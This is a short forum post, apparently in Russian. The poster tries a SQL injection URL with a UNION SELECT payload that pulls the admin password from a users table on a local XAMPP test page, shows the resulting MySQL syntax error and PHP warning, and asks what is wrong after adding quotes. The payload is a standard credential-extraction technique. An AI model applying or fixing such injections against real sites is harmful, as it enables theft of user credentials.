http://localhost/sait/tmp/sql.php?id=-1+UNION+SELECT+password+FROM+users+WHERE+'login=Ad min'/*
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'login=Admin\'/*' at line 1
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\sait\tmp\sql.php on line 24
------------
Поставил кавычки .......... что теперь нетак ?